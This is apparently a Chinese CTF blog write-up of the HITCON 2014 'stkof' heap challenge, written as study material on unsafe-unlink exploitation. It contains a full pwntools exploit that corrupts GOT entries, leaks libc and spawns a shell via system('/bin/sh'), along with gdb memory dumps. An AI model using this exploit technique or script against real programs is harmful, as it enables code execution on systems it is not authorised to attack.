2014 HITCON CTF stkof

2014 HITCON CTF stkof

1.序言

接着how2heap的教程走,下面是unlink漏洞的利用及相关练习。

有关漏洞的原理,网上已经有很多说明了,在这里我给出一些比较靠谱一点的链接:

  1. CTF WiKi
  2. 堆溢出之unlink的利用-Yun
  3. Unlink Exploit
  4. Linux堆溢出漏洞利用之unlink
  5. 堆溢出的unlink利用方法

2.程序分析

1. 运行

程序运行起来没有任何显示,拖进ida之后可以分析其功能如下:

1. alloc
2. read_in
3. free
4. useless

alloc

输入分配内存的大小size

read_in

往分配的内存中输入内容,允许写入任意长度,漏洞在此处.

free

将分配的内存释放掉, 利用ptmalloc释放的规则。

useless

没什么ruan

2.分析

如果我们分配一个小内存,read_in的时候读入很多数据,就会造成堆溢出,unlink漏洞的利用.

下面演示一下漏洞所在:

1
10
1
OK
2
1
100
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
OK
FAIL
3
1
*** Error in `./stkof': free(): invalid next size (fast): 0x0000000002cb1420 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f8d9d8257e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f8d9d82e37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f8d9d83253c]
./stkof[0x400b7f]
./stkof[0x400ccf]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f8d9d7ce830]
./stkof[0x400869]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:11 4069515                            /home/bill/CTF/how2heap/unsafe_unlink/hitcon_ctf_2014/stkof
00601000-00602000 r--p 00001000 08:11 4069515                            /home/bill/CTF/how2heap/unsafe_unlink/hitcon_ctf_2014/stkof
00602000-00603000 rw-p 00002000 08:11 4069515                            /home/bill/CTF/how2heap/unsafe_unlink/hitcon_ctf_2014/stkof
00603000-00e05000 rw-p 00000000 00:00 0
02cb1000-02cd2000 rw-p 00000000 00:00 0                                  [heap]
7f8d98000000-7f8d98021000 rw-p 00000000 00:00 0
7f8d98021000-7f8d9c000000 ---p 00000000 00:00 0
7f8d9d598000-7f8d9d5ae000 r-xp 00000000 08:11 6815824                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8d9d5ae000-7f8d9d7ad000 ---p 00016000 08:11 6815824                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8d9d7ad000-7f8d9d7ae000 rw-p 00015000 08:11 6815824                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8d9d7ae000-7f8d9d96e000 r-xp 00000000 08:11 6816942                    /lib/x86_64-linux-gnu/libc-2.23.so
7f8d9d96e000-7f8d9db6e000 ---p 001c0000 08:11 6816942                    /lib/x86_64-linux-gnu/libc-2.23.so
7f8d9db6e000-7f8d9db72000 r--p 001c0000 08:11 6816942                    /lib/x86_64-linux-gnu/libc-2.23.so
7f8d9db72000-7f8d9db74000 rw-p 001c4000 08:11 6816942                    /lib/x86_64-linux-gnu/libc-2.23.so
7f8d9db74000-7f8d9db78000 rw-p 00000000 00:00 0
7f8d9db78000-7f8d9db9e000 r-xp 00000000 08:11 6816728                    /lib/x86_64-linux-gnu/ld-2.23.so
7f8d9dd7b000-7f8d9dd7e000 rw-p 00000000 00:00 0
7f8d9dd9c000-7f8d9dd9d000 rw-p 00000000 00:00 0
7f8d9dd9d000-7f8d9dd9e000 r--p 00025000 08:11 6816728                    /lib/x86_64-linux-gnu/ld-2.23.so
7f8d9dd9e000-7f8d9dd9f000 rw-p 00026000 08:11 6816728                    /lib/x86_64-linux-gnu/ld-2.23.so
7f8d9dd9f000-7f8d9dda0000 rw-p 00000000 00:00 0
7ffd57ece000-7ffd57eef000 rw-p 00000000 00:00 0                          [stack]
7ffd57f48000-7ffd57f4b000 r--p 00000000 00:00 0                          [vvar]
7ffd57f4b000-7ffd57f4d000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

3.利用过程

整体思路: 通过unlink漏洞,修改free@gotputs,输入puts@plt,输出puts函数的真实地址.修改atoi@gotsystem, 输入/bin/sh的地址, 获得shell.

1. checksec一下
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
2. fake chunk

思路: 分配三个空间, 溢出第二个空间,使02 chunk and 03 chunk 合并, unlink.

alloc(0x100)
alloc(0x30)
alloc(0x80)
# a fake chunk at global[2] = head + 16 who's size is 0x20
payload = p64(0)        #prev_size
payload += p64(0x20)  #size
payload += p64(head + 16 - 0x18)  #fd
payload += p64(head + 16 - 0x10)  #bk
payload += p64(0x20)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
free(3) #unlink

0x602140处的内容:

0x602120:   0x0000000000000000  0x0000000000000000
0x602130:   0x0000000000000000  0x0000000000000000
0x602140:   0x0000000000000000  0x0000000001e40020
0x602150:   0x0000000000602138  0x0000000000000000
0x602160:   0x0000000000000000  0x0000000000000000

free做了一件事:向前合并

由于我们的溢出促使free函数相信我们的02chunkfree, 向前合并.
结果:

fd -> bk = bk ===> [head + 16 - 0x18 + 0x18] = head + 16 - 0x10
[0x602150] = 0x602140
bk -> fd = fd ===> [head + 16 - 0x10 + 0x10] = head + 16 - 0x18
[0x602150] = 0x602138
3. 写入
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)

结果:

0x602130:   0x0000000000000000  0x6161616161616161
0x602140:   0x0000000000602018  0x0000000000602020
0x602150:   0x0000000000602088  0x0000000000000000
4. [free@got] = puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
5. leak address
free(1)
6. find system address and binsh address, then turn atoi@got into system_addres, send "/bin/sh" address
binsh_addr = puts_address - (libc.symbols['puts'] - next(libc.search('/bin/sh')))
system_addr =  puts_address - (libc.symbols['puts'] -libc.symbols['system'])
edit(2, len(payload), payload)
p.send(p64(binsh_addr))

The Whole EXP

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'

context.binary = "./stkof"
stkof = ELF('./stkof')

if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")

log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')

head = 0x602140

def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


def exp():
    gdb.attach(p)
    # trigger to malloc buffer for io function
    alloc(0x100)        # idx 1
    # begin
    alloc(0x30)         # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)         # idx 3
    # a fake chunk at global[2] = head + 16 who's size is 0x20
    payload = p64(0)        #prev_size
    payload += p64(0x20)    #size --> except the first line, the rest two line is equal to 0x20?
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)        #0x30 is the front one whole size?
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


if __name__ == "__main__":
    exp()
  1. ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow
  2. CTF WiKi
发布了62 篇原创文章 · 获赞 32 · 访问量 5万+
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 大白 设计师: CSDN官方博客

分享到微信朋友圈

×

扫一扫,手机浏览